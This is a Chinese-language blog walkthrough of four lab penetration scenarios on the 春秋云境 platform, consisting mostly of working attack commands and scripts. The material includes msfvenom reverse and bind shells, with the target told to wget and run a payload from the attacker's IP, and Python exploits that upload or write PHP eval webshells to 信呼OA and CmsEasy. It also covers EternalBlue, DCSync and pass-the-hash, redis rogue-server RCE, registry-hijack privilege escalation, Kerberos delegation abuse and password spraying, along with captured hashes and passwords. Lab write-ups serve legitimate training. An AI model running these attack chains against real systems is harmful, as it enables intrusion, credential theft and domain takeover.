春秋云境

Initial

image-20251202195139133

外网 tp 服务，直接工具一把锁。

image-20251202195524978

写webshell之后，蚁键连上，发现有无密码的 MySQL sudo。

image-20251202195558246

1
sudo mysql -e '\! find / -type f -name '*flag*' 2>/dev/null'

image-20251202195659514

1
sudo mysql -e '\! cat /root/flag/flag01.txt'

image-20251202195727430

安装 msf 进行弹 shell。

攻击机安装：

1
2
3
4
5
6
7
8
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && \chmod 755 msfinstall && \./msfinstall

apt-get install postgresql
su - postgres
psql
\password postgres

sudo msfupdate

攻击机生成payload：

1
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST="123.57.107.33" LPORT=1337 -f elf > shell.elf

攻击机启动监听：

image-20251202202541927

1
2
3
4
5
6
msfconsole
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 123.57.107.33
set lport 1337
run

靶机连接攻击机：

1
2
wget http://123.57.107.33:8080/shell.elf
./shell.elf

连接成功：

image-20251202202807462

上传 fscan 扫内网：

image-20251202202823569

ifconfig

image-20251202202853664

fscan扫内网

1
./fscan -h 172.22.1.15/24

image-20251202203147981

1
2
3
172.22.1.2   DC域控
172.22.1.21  MS17-010永恒之蓝
172.22.1.18  信呼OA系统

配置以下 frp 服务：

frpc.toml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
serverAddr = "123.57.107.33"
serverPort = 7000

[transport]
tcpMux = true
protocol = "tcp"

[log]
level = "info"
to = "./frpc.log"
maxDays = 3

# SSH隧道
[[proxies]]
name = "test-tcp"
type = "tcp"
localIP = "127.0.0.1"
localPort = 22
remotePort = 6000
transport.useEncryption = true
transport.useCompression = true

# SOCKS5代理
[[proxies]]
name = "socks5"
type = "tcp"
remotePort = 1080
[proxies.plugin]
type = "socks5"

# HTTP代理
[[proxies]]
name = "http-proxy"
type = "tcp"
remotePort = 8080
[proxies.plugin]
type = "http_proxy"

frps.toml

1
bindPort = 7000

启动：

image-20251202213205161

image-20251202213213807

image-20251202213116069

image-20251202213218902

直接一把锁：

[代码审计]信呼协同办公系统2.2存在文件上传配合云处理函数组合拳RCE_信呼协同办公系统弱口令-CSDN博客

信呼v2.2.1文件上传漏洞复现 - 钎劫 - 博客园

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests
session = requests.session()
url_pre = 'http://172.22.1.18/'
url1 = url_pre + '?a=check&m=login&d=&ajaxbool=true&rnd=533953'
url2 = url_pre + '/index.php?a=upfile&m=upload&d=public&maxsize=100&ajaxbool=true&rnd=798913'
url3 = url_pre + '/task.php?m=qcloudCos|runt&a=run&fileid=11'
data1 = {
    'rempass': '0',
    'jmpass': 'false',
    'device': '1625884034525',
    'ltype': '0',
    'adminuser': 'YWRtaW4=',
    'adminpass': 'YWRtaW4xMjM=',
    'yanzm': ''
}
r = session.post(url1, data=data1)
r = session.post(url2, files={'file': open('1.php', 'r+')})

filepath = str(r.json()['filepath'])
filepath = "/" + filepath.split('.uptemp')[0] + '.php'
id = r.json()['id']
url3 = url_pre + f'/task.php?m=qcloudCos|runt&a=run&fileid={id}'
r = session.get(url3)
r = session.get(url_pre + filepath + "?1=system('dir")
print(r.text)
print(filepath)

image-20251202213525493

通了，直接连一下。

image-20251202213642635

image-20251202213635473

拿到第二段 flag

image-20251202213801939

第三段打：

在打DC前先打172.22.1.21 MS17-010永恒之蓝

配置代理：

image-20251202214446489

打永恒之蓝：

1
2
3
4
5
proxychains4 msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp_uuid
set RHOSTS 172.22.1.21
exploit

image-20251202214615771

拿到正向链接 SYSTEM 权限收集hash

1
2
load kiwi
kiwi_cmd lsadump::dcsync /domain:xiaorang.lab /all /csv

image-20251202214707980

拿下 hash，再用crackmapexec打PTH拿下域控。

1
proxychains crackmapexec smb 172.22.1.2 -u administrator -H10cf89a850fb1cdbe6bb432b859164c8 -d xiaorang.lab -x "type Users\Administrator\flag\flag03.txt"

拿到flag

image-20251202215012198

Tsclient

fscan扫一下：

1
./fscan -h 39.99.237.113

image-20251203095249256

SafeGroceryStore/MDUT: MDUT - Multiple Database Utilization Tools

MDUT连mssql

image-20251203095526423

发现低权限账号：

image-20251203095607628

上传 sweetPotato 提权：

uknowsec/SweetPotato: Modifying SweetPotato to support load shellcode and webshell

image-20251203095823261

上传 cs 马并用甜土豆执行：

image-20251203104804233

image-20251203104821713

image-20251203104833726

1
C:/Users/Public/sweetpotato.exe -a "C:/Users/Public/beacon.exe"

image-20251203104725525

image-20251203104716374

减少延迟时长：

1
sleep 1

查看在线用户：

image-20251203104923145

一篇CSDN VIP文章：Cobalt Strike进程注入-CSDN博客

image-20251203105009651

image-20251203105049904

成功上线：

image-20251203105130500

1
shell net use

image-20251203105300197

1
2
shell dir \\tsclient\c
shell type \\tsclient\c\credential.txt

image-20251203105402069

拿到一套账密，并提示打映像劫持

1
xiaorang.lab\Aldrich:Ald@rLMWuy7Z!#

fscan 扫内网：

1
C:\Users\Public\fscan.exe -h 172.22.8.18/24

frp做转发：

1
shell C:\Users\Public\frpc.exe -c C:\Users\Public\frpc.toml

kali 密码喷洒：

1
proxychains crackmapexec smb 172.22.8.1/24 -u Aldrich -p 'Ald@rLMWuy7Z!#' -d xiaorang.lab 2>/dev/null

image-20251203111442725

提示密码过期，需要修改密码

Release Impacket 0.10.0 · fortra/impacket

1
proxychains python smbpasswd.py xiaorang.lab/Aldrich:'Ald@rLMWuy7Z!#'@172.22.8.15 -newpass 'Z3r4y@401'

image-20251203112150808

远程连接：

1
proxychains4 rdesktop 172.22.8.46 -u Aldrich -d xiaorang.lab -p 'Z3r4y@401' -r disk:share=/home/kali/Desktop/tmp

映像劫持的几种利用方式 - FreeBuf网络安全行业门户

1
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe" /v Debugger /t REG_SZ /d "C:\windows\system32\cmd.exe"

image-20251203112558610

放大镜成功提权。

1
type C:\Users\Administrator\flag\flag02.txt

image-20251203114128372

172.22.8.46不出网，用172.22.8.18转发上线CS

image-20251203112941788

image-20251203112924902

image-20251203113225466

放大镜 以 SYSTEM上线：

1
C:\Users\Aldrich\Desktop\beaconq.exe

image-20251203113340609

查看域管理员：

1
shell net group "domain admins" /domain

image-20251203113421578

抓取密码：

1
logonpasswords

image-20251203113955607

1
proxychains4 crackmapexec smb 172.22.8.15 -u WIN2016$ -H 210d01589f3f1d6ec47bf15b9a6c4964 -d xiaorang.lab -x "type C:\Users\Administrator\flag\flag03.txt"

Brute4Road

fscan 扫一下公网：

image-20251203195956646

扫到无密码的 redis。

image-20251203200120677

版本号直接打主从复制了，

n0b0dyCN/redis-rogue-server: Redis(<=5.0.5) RCE

image-20251203200207439

1
python3 redis-rogue-server.py --rhost 39.99.236.13  --lhost 123.57.107.33 --lport 21002

连上了

image-20251203200436160

find查 suid

1
find / -user root -perm -4000 -print 2>/dev/null

image-20251203200547983

一眼base64提权。

1
base64 '/home/redis/flag/flag01' | base64 --decode

image-20251203200623077

拿到第一个 flag

fscan 扫一下内网

  • 172.22.2.16 - Windows Server 2016 (MSSQLSERVER)
  • 172.22.2.3 - Windows Server 2016 (域控制器 DC)
  • 172.22.2.34 - Windows客户端 (CLIENT01)
  • 172.22.2.7 - CentOS服务器
  • 172.22.2.18 - Ubuntu服务器 (WordPress)

配好frp。

wpscan扫wordpress服务

1
proxychains wpscan --url http://172.22.2.18

image-20251203201616609

WordPress WPCargo Track CVE-2021-25003 RCE 分析 - 有趣的压缩算法Trick - 0x28 - 博客园

image-20251203202041827

一把锁了。

image-20251203202201654

蚁键连上了之后发现泄露数据库关键信息

image-20251203202420396

1
2
3
4
5
/** Database username */
define( 'DB_USER', 'wpuser' );

/** Database password */
define( 'DB_PASSWORD', 'WpuserEha8Fgj9' );

连接数据库，拿到flag2

image-20251203202545564

找到密码字典并导出：

image-20251203205029596

扫密码方法1：

1
proxychains medusa -h 172.22.2.16 -u sa -P pwd.txt -M mssql

方法2：

image-20251203205016419

扫到密码，MDUT连接

image-20251203223333892

image-20251203222322520

image-20251203211616908

靶机不出网，准备 msf 正向链接。

攻击机：

1
msfvenom -p windows/x64/meterpreter/bind_tcp LHOST=172.22.2.16 LPORT=53 -f exe -o shell.exe
1
2
3
4
5
6
proxychains4 msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set rhost 172.22.2.16
set lport 53
exploit

image-20251203214352452

提权：

1
2
getsystem
download "C:/Users/administrator/flag/flag03.txt"

image-20251203214430961

或上传甜土豆提权：

image-20251203213302471

image-20251203213429933

创建用户

1
2
C:/Users/Public/sweetpotato.exe -a "net user hacker qwer1234! /add"
C:/Users/Public/sweetpotato.exe -a "net localgroup administrators hacker /add"

浅谈约束委派攻击-先知社区

ParrotSec/mimikatz

Release 2.2.0 20211214 Internals certificate · gentilkiwi/kekeo

AdFind - Download - Softpedia

管理员权限运行mimikatz 导出MSSQLSERVER的票据 

1
2
3
privilege::debug
sekurlsa::tickets /export
exit

image-20251203215419632

kekeo申请服务票据

1
2
tgs::s4u /tgt:[0;3e4]-2-1-40e10000-MSSQLSERVER$@krbtgt-XIAORANG.LAB.kirbi /user:Administrator@XIAORANG.LAB /service:cifs/DC.XIAORANG.LAB 
exit

mimikatz打ptt

1
mimikatz.exe "kerberos::ptt TGS_Administrator@XIAORANG.LAB@XIAORANG.LAB_cifs~DC.XIAORANG.LAB@XIAORANG.LAB.kirbi" "exit"

image-20251203215654986

拿到 flag。

image-20251203215726759

Delegation

1
./fscan -h 39.99.235.221 -p 1-65535

image-20251204135849463

后台 /admin，admin/123456

image-20251204140043079

​ CmsEasy_7.7.5_20211012存在任意文件写入和任意文件读取漏洞 | jdr

payload 直接打

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import requests

url = "http://39.99.235.221/index.php"

params = {
    "case": "template",
    "act": "save",
    "admin_dir": "admin",
    "site": "default"
}

headers = {
    "X-Requested-With": "XMLHttpRequest",
    "User-Agent": "Mozilla/5.0",
    "Content-Type": "application/x-www-form-urlencoded",
    "Connection": "close"
}

cookies = {
    #PHPSESSID=crm0lfqacdt6ij38s7h5fu4j5j; login_username=admin; login_password=a14cdfc627cef32c707a7988e70c1313
    "login_username": "admin",
    "login_password": "a14cdfc627cef32c707a7988e70c1313",
    "PHPSESSID":"crm0lfqacdt6ij38s7h5fu4j5j"
}

data = {
    "sid": "#data_d_.._d_.._d_.._d_1.php",
    "slen": "693",
    "scontent": "<?php eval($_POST[1]);?>"
}

try:
    response = requests.post(
        url=url,
        params=params,
        headers=headers,
        cookies=cookies,
        data=data
    )

    print(f"Status Code: {response.status_code}")
    print(f"Response Headers: {response.headers}")
    print(f"Response Content:\n{response.text}")

except requests.exceptions.RequestException as e:
    print(f"Request failed: {e}")
except Exception as e:
    print(f"Error: {e}")

蚁键连上，suid 提权，diff提权秒了

image-20251204140745578

fscan 扫一下内网

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
172.22.4.36:3306 open
172.22.4.19:445 open
172.22.4.45:445 open
172.22.4.7:445 open
172.22.4.19:139 open
172.22.4.36:21 open
[*] NetInfo 
[*]172.22.4.45
   [->]WIN19
   [->]172.22.4.45
[*] NetInfo 
[*]172.22.4.7
   [->]DC01
   [->]172.22.4.7
[*] WebTitle http://172.22.4.45        code:200 len:703    title:IIS Windows Server
[*] NetInfo 
[*]172.22.4.19
   [->]FILESERVER
   [->]172.22.4.19
[*] NetBios 172.22.4.19     FILESERVER.xiaorang.lab             Windows Server 2016 Standard 14393
[*] NetBios 172.22.4.45     XIAORANG\WIN19                
[*] OsInfo 172.22.4.7	(Windows Server 2016 Datacenter 14393)
[*] NetBios 172.22.4.7      [+] DC:DC01.xiaorang.lab             Windows Server 2016 Datacenter 14393
[*] WebTitle http://172.22.4.36        code:200 len:68100  title:中文网页标题

配好 frp。

结合提示WIN19\Adrian，去打172.22.4.45

密码爆破一下：

1
proxychains4 crackmapexec smb 172.22.4.45 -u Adrian -p rockyou.txt -d WIN19

image-20251204144954907

爆到一半发现这个

连远程改密码

1
proxychains4 rdesktop 172.22.4.45 -r disk:share=/home/kali/Desktop/tmp

不能用Windows本机的 mstsc 没有改密码的地方

image-20251204145158043

image-20251204145236804

改密码进去

image-20251204145340533

桌面有提示，可以修改注册表，尝试正向链接靶机。

1
msfvenom -p windows/meterpreter/bind_tcp LPORT=1337 -f exe > exp.exe
1
2
3
4
5
use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set RHOST 172.22.4.45
set LPORT 1337
exploit
1
2
3
reg add HKLM\SYSTEM\CurrentControlSet\Services\gupdate /v ImagePath /t REG_EXPAND_SZ /d "C:\Users\Adrian\Desktop\exp.exe"
 
sc start gupdate

image-20251204145948154

连上靶机

1
ps

image-20251204150121118

进程迁移，拿flag

1
cat  /users/administrator/flag/flag02.txt

image-20251204150242454

继续打

1
hashdump
1
2
3
4
5
6
7
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
Administrator:500:aad3b435b51404eeaad3b435b51404ee:ba21c629d9fd56aff10c3e826323e6ab:::
Adrian:1003:aad3b435b51404eeaad3b435b51404ee:4f9d5b3ad240e21781734cc93e894759:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:44d8d68ed7968b02da0ebddafd2dd43e:::
许可协议

本文采用 署名-非商业性使用-相同方式共享 4.0 国际 许可协议，转载请注明出处。